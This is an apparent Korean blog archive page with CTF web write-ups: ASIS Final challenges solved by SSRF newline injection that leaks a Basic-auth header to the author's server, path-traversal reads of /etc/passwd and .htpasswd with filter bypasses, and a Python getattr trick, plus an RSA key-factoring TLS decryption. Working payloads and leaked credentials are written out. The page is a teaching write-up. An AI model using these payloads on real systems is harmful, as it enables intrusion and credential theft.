'2019/11'에 해당되는 글 29건

angr 정리

2019. 11. 28. 23:41

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

z3 정리

2019. 11. 27. 21:40

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Crypto Python Code

2019. 11. 20. 23:11

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

chall.stypr.com php-reverse2

2019. 11. 20. 19:14

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

chall.stypr.com Smartie

2019. 11. 19. 20:07

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

요 대회는 신기하게 Final인데 서버가 열려있길래 풀어봤다.


Trust Zone


문제에서 주어진 기능은 아래와 같고 ssrf가 있다. 


/get_doc?url=http://66.172.33.59/docs/doc1.doc


필터링 같은 경우 전체 url이 .doc로 끝나는지 검증하고 있었고, 인풋에 시작이 http://66.172.33.59/로 시작하는지 검증하고 있었다. 이 때문에 다른 호스트로 요청이 일단 힘들었고 .doc 검증은 그냥 내가 요청할 경로 뒤에 .doc 붙여주면 우회가 되긴 했는데 할만한게 안보였다. 그래서 이것저것 보다 인풋을 http://66.172.33/59/docs/ 이런식으로 주면 디렉토리 리스팅이되서 요청 경로 내 파일 리스트를 알 수 있었다.


디렉토리 리스팅으로 알게된 경로는 아래와 같았다.


http://66.172.33.59/doc_app/doc.php

http://66.172.33.59/flag/flag.php


위에서 flag 페이지에 접근하면 post로 요청하라고 했다. 그래서 일단 그냥 위 기능을 안쓰고 http://66.172.33.59/flag/flag.php에 직접 접근해보니 IP 접근 제한이 존재하는지 401이 뜨면서 계정을 요구했다. 

위 기능에서 일단 post로 flag.php를 요청할만한 게 딱히 안보여서 일단 http://66.172.33.59/doc_app/doc.php에 접근해보니 filename이란 파라미터로 파일 읽기가 가능했다. 


/get_doc?url=http://66.172.33.59/doc_app/doc.php?filename=../../../etc/passwd%23.doc


file_get_contents를 쓰고 있는거 같았고 이걸로 flag.php를 요청하려고 했는데 안됐다. 그래서 해당 파일을 읽어보니 인풋 앞에 /var/www/html/이 붙고 있어서 http 요청이 불가능했다.


401 인증을 우회해야되나 싶어서 추가로 .htaccess 파일 leak 후 .htpasswd 경로 확인해서 password crack을 해봤는데 비밀번호가 안나왔다.


/get_doc?url=http://66.172.33.59/doc_app/doc.php?filename=../../../srv/app/public/.htaccess%23.doc


<IfModule mod_rewrite.c>

    RewriteEngine On

    RedirectMatch 301 (.*).doc$ http://66.172.33.59$1

</IfModule>


AuthType Basic

AuthName \"Restricted Content\"

AuthUserFile /etc/apache2/.htpasswd

Require valid-user

 

/get_doc?url=http://66.172.33.59/doc_app/doc.php?filename=../../../etc/apache2/.htpasswd%23.doc


secr3tUser_sys:$apr1$aWUbyZd0$Ge9ygNPiGeccI5iz645.X0


딱히 더 뭐 할게 안보여서 다시 원점으로 돌아가서 기본 기능에서 도메인 우회가 가능한지 이것저것 테스트해보다가 아래와 같이 개행을 넣었을때 요런 에러가 터지는 걸 볼 수 있었다.


input


/get_doc?url=http://66.172.33.59/%0a123.doc


error messgae


{"code":200,"data":{"err":"HTTPConnectionPool(host='66.172.33.59123', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f953c45ed10>: Failed to establish a new connection: [Errno -2] Name or service not known'))"}}


개행 뒤에 넣은 인풋이 도메인 ip뒤에 붙는 걸 볼 수 있었다.


이걸로 도메인 우회가 가능하겠다 싶었고 아래와 같이 요청하니 내 서버로 요청이 이루어졌다. 


input


/get_doc?url=http://66.172.33.59/%0a@my_ip:9999/.doc


my_sever


GET / HTTP/1.1

Host: my_ip:9999

User-Agent: python-requests/2.22.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Authorization: Basic c2VjcjN0VXNlcl9zeXM6ZWQ2MGNiZDYwZTgzNzg4NTg5YTI1NGUxMzZiYjA

zMGI=


서버로 Authorization header가 전송됬고 이 값을 그대로 세팅해서 flag.php 요청하니 플래그가 나왔다.


payload


POST /flag/flag.php HTTP/1.1

Host: 66.172.33.59:80

Authorization: Basic c2VjcjN0VXNlcl9zeXM6ZWQ2MGNiZDYwZTgzNzg4NTg5YTI1NGUxMzZiYjAzMGI=

Content-Length: 0  


flag = ASIS{ce4e0de7ace0353bc9370d36365c3a17}



Protected Area


파일 존재 여부 및 읽기 기능 두 가지가 존재한다.


파일 읽기 시 ../ 필터랑 요청한 파일 경로의 맨 뒤 4 글자가 .txt인지 검증한다.

../는 ....//로 우회하면 되고, 확장자 검증은 퍼징 돌려보면 & 가지고 우회가 가능하다.


이걸로 아래 순서로 소스 쭉쭉 긁어서 플래그 뿌려주는 루틴 만족시키면 된다.


/read_file/?api=....//api.py&.txt

/read_file/?file=....//functions.py&.txt

/read_file/?file=....//....//config.py&.txt



functions.py


if ah == hashlib.md5((Config.ADMIN_PASS + Config.SECRET).encode("utf-8")).hexdigest():



config.py


import os


class Config:

    """Set Flask configuration vars from .env file."""


    # general config

    FLAG       = os.environ.get('FLAG')

    SECRET     = "s3cr3t"

    ADMIN_PASS = "b5ec168843f71c6f6c30808c78b9f55d"


payload


GET /protected_area_0098 HTTP/1.1

Host: 66.172.33.148:8008

ah: cbd54a3499ba0f4b221218af1958e281


Flag = ASIS{f70a0203d638a0c90a490ad46a94e394}



Protected Area2


이전 문제에서 .txt 검증 루틴이 변경되서 필터링 우회가 안된다. 다른 벡터를 찾아야하는데 파일 존재 여부를 검증하는 /check_perm/readable/ uri에서 readble 부분 값을 바꿔보면 아래와 같은 에러가 발생한다.


'_io.TextIOWrapper' object has no attribute '1'


/check_perm/인풋/ 해당 영역 값이 TextIowrapper 객체의 속성으로 들어가고 있다. 이를 통해 readable을 read로 바꿔주면 파일 읽기가 가능해진다.


/check_perm/read/?file=../etc/passwd


이제 소스코드를 찾기 위해 웹 루트를 찾아야되는데 /proc/self/cmdline이 안 읽혀서 아래 순서로 nginx 설정 파일을 통해 웹 루트를 찾고 소스 코드를 leak했다.


/check_perm/read/?file=../../etc/nginx/conf.d/nginx.conf

/check_perm/read/?file=../../opt/py/app/uwsgi.ini

/check_perm/read/?file=../..///opt/py/app/main_application.py

/check_perm/read/?file=../..///opt/py/app/app_source/main.py

/check_perm/read/?file=../..///opt/py/app/app_source/all_routes.py

/check_perm/read/?file=../..///opt/py/app/app_source/admin_route.py

 

admin_route.py


@app.route('/protected_area/<file_hash>', methods=['GET'])

def app_protected_area(file_hash) -> str:

    try:

        if str(hash(open(Config.FLAG))) == file_hash:

            return send_file(Config.FLAG_SEND)

        else:

            abort(403)

    except:

        return "500"


config.py


class Config:

    """Set Flask configuration vars from .env file."""


    # general config

    FLAG      = "flag/flag"

    FLAG_SEND = "../flag/flag"


플래그를 얻으려면 flag파일 객체의 해쉬 값을 알아내야 한다. 그래서 그냥 이전 기능을 통해 플래그 파일을 읽으려고 하면 아래와 같이 삽입한 메소드의 리턴 값이 str type일 경우 파일 경로에 flag가 존재하는지 검증해서 flag 파일을 읽을 수가 없다.


all_routes.py


@app.route('/check_perm/<method>/', methods=['GET'])

def app_checkb_file(method) -> json:

    try:

        file = request.args.get("file")


        if file.find('/proc') != -1:

            return "0"


        file_path = os.path.normpath('/files/{}'.format(file))

        with open(file_path, 'r') as f:


            call = getattr(f, method)()

            if type(call) == int:

                return str(call)

            elif type(call) != list and file.find('flag') == -1:

                return str(call)


            return '0'

    except Exception as e:

        return str(e)


여기서 딱 봐도 이상한게 return 값이 int일 때는 파일명 검증을 안하고 있는 부분이 있기 때문에 이걸 가지고 뭔가 하면 될 것 같았다. file 객체의 attribute를 쭉 확인해보니 __hash__란 메서드가 보였다.


호출해보니 반환 값이 int형이었고 아래 코드가 성립하길래 이걸로 flag파일의 해쉬 값을 구했다.


hash(open("a"))==open("a").__hash__()


payload

/check_perm/__hash__/?file=../..///opt/py/app/flag/flag

/protected_area/8782905626443


Flag = ASIS{1b7dc3a5ba52a11f0361bec284e59d58}

'CTF > Writeup' 카테고리의 다른 글

Zer0pts CTF 2020 Writeup  (1) 2020.03.08
Christmas CTF 2019 Write up  (4) 2019.12.30
CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
InCTF 2019 Web Write up  (0) 2019.09.23
CSAW CTF 2019 Web Write up  (0) 2019.09.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

chall.stypr.com php-reverse

2019. 11. 17. 23:24

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

chall.stypr.com Interview

2019. 11. 16. 03:57

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

chall.stypr.com LameassLibrary

2019. 11. 16. 01:22

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

문제에서 제공하는 파일은 클라이언트용 파이썬 코드와 pcap 파일 두가지이다.


먼저 클라이언트 파이썬 코드를 보면 아래와 같다.


client.py


from socket import *

from ssl import *

import time


def recv_until(s, string):

    result = ''

    while string not in result:

        result += s.recv(1)

    return result


client_socket=socket(AF_INET, SOCK_STREAM)

tls_client = wrap_socket(client_socket, ssl_version=PROTOCOL_TLSv1_2, cert_reqs=CERT_NONE)


print "[+] Connecting with server.."


tls_client.connect(('ch41l3ng3s.codegate.kr',443))


print "[+] Connect OK"


while 1:

    data = recv_until(tls_client, "Input : ")

    print data

    #message

    user_input = raw_input()

    

    if user_input == "u":

        print "Sorry.. Not support function.."

        exit()

    elif user_input == "d": 

        tls_client.send("6423e47152f145ee5bd1c014fc916e1746d66e8f5796606fd85b9b22ad333101\n")

    elif user_input == "r":

        tls_client.send("34660cfdd38bb91960d799d90e89abe49c1978bad73c16c6ce239bc6e3714796\n")

    elif user_input == "l":

        print "Sorry.. Not support function.."

        exit()

    else:

        print "Invalid input!"

        exit()    


client_socket.shutdown(SHUT_RDWR)

client_socket.close()



예전 문제라 현재 서버가 존재하지 않지만 코드를 보면 방향키 입력 시 해당 방향과 매칭되는 해쉬값을 서버에 보내 실제 방향 이동을 하는 것 같았다.

근데 이 때 4가지 방향 중 2가지 방향에 대한 해쉬 값이 없어 방향 이동 제한이 존재하는 것 같았고 실제 문제 출제가 어떻게 되었었는지 확인해보니 게임을 통해 플래그 위치까지 가려면 4가지 방향에 대해 모두 이동을 해야만 하는 상황이었었다.


해당 코드만 가지고 뭔가 할만한건 없으니 pcap 파일을 보면 통신이 TLS로 이루어져 패킷 내용을 확인할 수 없는 상황이었다.


여기서 뭘 해야할지 감이 안왔는데 크립토 문제였기 때문에 일단 와이어샤크를 통해 TLS 통신 시 사용된 인증서를 추출한 뒤 공개키가 소인수분해가 되거나, factor db를 통해 p,q를 구할 수 있는지 확인해보는식으로 진행해봤다.


인증서 추출은 아래 글을 참고

https://5kyc1ad.tistory.com/57


추출한 인증서에서 n 값을 확인


openssl x509 -inform der -in test.crt -pubkey -noout > pub.key


python RsaCtfTool.py --dumpkey --key pub.key

[*] n: 316033277426326097045474758505704980910037958719395560565571239100878192955228495343184968305477308460190076404967552110644822298179716669689426595435572597197633507818204621591917460417859294285475630901332588545477552125047019022149746524843545923758425353103063134585375275638257720039414711534847429265419

[*] e: 65537


factordb에서 p,q 값 확인

p = 17777324810733646969488445787976391269105128850805128551409042425916175469168770593916088768472336728042727873643069063316671869732507795155086000807594027


q = 17777324810733646969488445787976391269105128850805128551409042425916175469483806303918279424710789334026260880628723893508382860291986009694703181381742497


인증서에 사용된 공개키를 통해 d를 구할 수 있는 상황이기 때문에 RsactfTool을 이용해 private key를 생성한 뒤 wireshark에 생성한 private key를 적용해줬다.


python RsaCtfTool.py --publickey pub.key --private > pri.key


아래 게시글을 참조하여 생성한 개인키 와이어 샤크에 적용

https://hiseon.me/network/decrypt-ssl-traffic/


위 과정들을 통해 pcap 파일에 존재하는 패킷 내용을 복호화 할 수 있었고, 통신 내용을 확인해보니 아래와 같이 나머지 두 방향키에 대한 해쉬 값을 확인할 수 있었다.



이제 모든 방향 이동이 가능하기 때문에 게임 클리어가 가능하고 이를 통해 플래그를 구해주면 된다.

블로그 이미지

JeonYoungSin

메모 기록용 공간

,